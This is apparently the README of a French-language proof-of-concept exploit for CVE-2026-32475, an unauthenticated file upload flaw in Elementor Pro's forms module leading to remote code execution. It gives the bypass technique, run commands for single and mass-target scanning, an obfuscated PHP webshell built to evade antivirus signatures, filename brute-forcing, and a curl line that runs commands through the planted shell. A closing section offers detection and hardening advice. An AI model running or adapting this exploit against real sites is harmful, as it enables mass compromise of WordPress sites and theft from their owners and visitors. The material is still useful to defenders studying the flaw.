
Preuve de concept d'exploitation pour CVE-2026-32475, un téléversement arbitraire de fichier non authentifié dans Elementor Pro menant à une exécution de code à distance. Inclut un balayage de masse, une confirmation par force brute du nom de fichier et un webshell obfusqué intégré pour les tests autorisés.
Téléversement arbitraire de fichier avant authentification menant à l'exécution de code à distance dans Elementor Pro
Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier non authentifié critique dans le module Formulaires d'Elementor Pro qui aboutit à une exécution de code à distance. Le PoC soumet deux parties de fichier pour le même champ de téléversement — une première entrée vide (nom de fichier vide, déclenchant UPLOAD_ERR_NO_FILE) suivie de la charge utile. La boucle validation() se termine prématurément sur l'entrée vide via return tandis que process_field() l'ignore via continue, de sorte que la charge utile n'est jamais soumise au contrôle d'extension et atterrit dans un répertoire public avec une extension .php. Les PoC testant le comportement corrigé, la même requête après application du correctif, doivent être rejetés par le contrôle d'extension.
Remarque : Ce PoC est destiné uniquement aux tests de sécurité autorisés et à la recherche. CVE-2026-32475 est activement exploitée dans la nature, et Wordfence a bloqué plus de 190 000 tentatives depuis la divulgation du 19 août. Vous êtes responsable du respect de toutes les lois applicables et de l'obtention d'une autorisation écrite avant de tester tout système.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsInstaller les dépendances :
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell téléverse un webshell PHP obfusqué minimal (mots-clés construits à l'exécution via
chr()/implode/strrev, paramètre de commande vapcom) afin que les simples signatures statiques et
les analyses temps réel des antivirus sur disque ne le signalent pas. Le nom de fichier stocké reste aléatoire
(<uniqid()>.php) ; combinez avec --brute, qui sonde ?vapcom=echo <marqueur> et rapporte
exec confirmed: <nom>.php. Utilisation manuelle une fois localisé :
curl "http://CIBLE/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T cibles.txt -o resultats.csv
python cve-2026-32475-poc.py -t http://cible/page-avec-formulaire/ --payload ./lab-shell.php
| Argument | Description | Défaut |
|---|---|---|
-t, --target | URL de la cible unique | - |
-T, --targets | Fichier contenant les URL cibles, une par ligne | - |
-o, --output | Fichier de résultats (CSV : cible, statut, form_id, post_id, champ, note) | - |
--timeout | Délai d'expiration de la requête en secondes | 15 |
--post-id | Remplacer le post_id détecté | auto |
--form-id | Remplacer le form_id détecté (identifiant du widget Elementor) | auto |
--field | Remplacer le custom_id du champ de téléversement détecté | auto |
--payload | Chemin vers un fichier de charge utile personnalisé (défaut : fichier de jeton PHP bénin) | jeton bénin |
--shell | Téléverser le webshell PHP obfusqué intégré (<?php ... system($_GET) ?> construit à l'exécution, paramètre vapcom) au lieu du jeton | désactivé |
--brute | Après un téléversement réussi, forcer le nom de fichier uniqid() pour confirmer l'exécution de code | désactivé |
--seconds-window | Secondes avant/après l'en-tête Date du serveur à forcer | 5 |
[*] Sondage de http://localhost/wplab/?page_id=6 ...
[+] Formulaire trouvé : post_id=6 form_id=a1b2c3d4 champ=upload_file
[*] AJAX -> HTTP 200
[*] résultat : vulnérable - téléversement accepté
réponse : {"success":true,"data":{"message":"Votre soumission a réussi.","data":[]}}
téléversé vers : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] EXÉCUTION CONFIRMÉE : 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] terminé : 1/1 vulnérable
Un success:true sur la réponse AJAX signifie que la charge utile a été acceptée sans avoir été soumise au contrôle d'extension. L'étape 4 avec --brute (un 200 sur le fichier .php deviné contenant le marqueur) confirme l'exécution PHP côté serveur — c'est-à-dire une RCE complète.
Statuts des résultats : vulnerable | patched | unknown | error
vulnerable — le serveur web a renvoyé "success":true ; la charge utile a contourné le contrôle d'extensionpatched — le téléversement a été rejeté avec une erreur de type de fichier (le contrôle d'extension a été exécuté)unknown — HTTP a réussi mais la réponse n'était pas success:true (identifiants incorrects ou état inattendu)error — échec de la requête/analyse (délai d'expiration, non-200, formulaire introuvable)<uniqid()>.<extension_attaquant> — le nom de base soumis est ignoré, donc les astuces de double extension/octet nul sont sans effet ; seul le contrôle d'extension compte, et c'est lui qui est contourné..htaccess dans wp-content/uploads/elementor/forms/ qui définit Content-Disposition: attachment sur tous les fichiers. Cela n'empêche pas l'exécution — PHP s'exécute toujours côté serveur et la réponse téléchargée est la sortie exécutée. Pour afficher un shell dans un navigateur en laboratoire, désactivez ce .htaccess ; dans le monde réel, considérez-le comme purement cosmétique et reposez-vous sur le blocage PHP au niveau du serveur.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), donc le nom est dérivé du temps (secondes Unix, 32 bits de poids faible, + microsecondes). L'étape de force brute encadre la seconde observée dans l'en-tête Date de la réponse de soumission et, pour les fichiers .php, demande ?vapcom=echo <marqueur> (ou ?c= pour le fichier jeton/--payload) afin qu'une réponse contenant le marqueur soit une véritable exécution PHP côté serveur, pas seulement une lecture de fichier. Le pire cas est d'environ 1 million de suppositions de microsecondes par seconde, donc resserrez --seconds-window pour garder les exécutions courtes.# Fichiers PHP qui ne devraient pas exister dans le répertoire de téléversement
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta sous le répertoire des formulaires comme une preuve de compromission.GET sous /wp-content/uploads/elementor/forms/ et les POST transportant elementor_pro_forms_send_form.mu-plugins, les fichiers de thème/noyau modifiés et les événements WP-Cron inattendus ; préférez restaurer une sauvegarde connue saine plutôt que de nettoyer sur place.location nginx ou <FilesMatch> Apache). C'est la solution durable et elle dégrade cette vulnérabilité et les futurs bugs de téléversement à un simple « gaspillage d'espace disque ».elementor_pro_forms_send_form.